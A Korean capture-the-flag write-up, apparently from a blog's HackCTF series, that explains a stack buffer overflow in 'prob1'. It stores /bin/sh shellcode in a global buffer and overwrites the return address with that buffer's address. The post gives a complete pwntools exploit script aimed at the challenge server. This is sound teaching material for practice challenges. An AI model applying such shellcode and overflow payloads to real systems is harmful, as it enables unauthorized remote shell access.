prob1 파일의 코드는 다음과 같다.
쉘 코드를 s에 저장하는 방식은 어떨까 했지만, s가 0x14바이트밖에 안되기 때문에 name의 주소를 알아 낸 후에 name에 쉘 코드를 넣어두고, s를 이용해 버퍼 오버플로우를 일으켜 ret 주소에 name의 시작 주소를 덮는 방식을 선택했다. 먼저 gdb를 통해 알아낸 name의 주소는 다음과 같다.
name은 2번째 인자이기 때문에 0x804a060이 name의 주소가 된다.
카나리, NX-bit 등의 보호기법도 적용되어 있지 않기 때문에, buf 크기 20바이트 + sfp 4바이트 이후에 name의 주소를 덮으면 될 듯 하다. 페이로드는 다음과 같다.
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3003)
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
input_buf = "A"*24 + "\x60\xa0\x04\x08"
r.recvuntil("Name : ")
r.sendline(shellcode)
r.recvuntil("input : ")
r.sendline(input_buf)
r.interactive()
'Pwnable > HackCTF' 카테고리의 다른 글
[ProjectH4C] HackCTF (Simple_Overflow_ver_2) (0) | 2020.09.17 |
---|---|
[ProjectH4C] HackCTF (x64 Simple_size_BOF) (0) | 2020.09.17 |
[ProjectH4C] HackCTF (x64 Buffer Overflow) (0) | 2020.09.13 |
[ProjectH4C] HackCTF (Basic_FSB) (0) | 2020.09.13 |
[ProjectH4C] HackCTF (bof_basic 1~2) (0) | 2020.09.07 |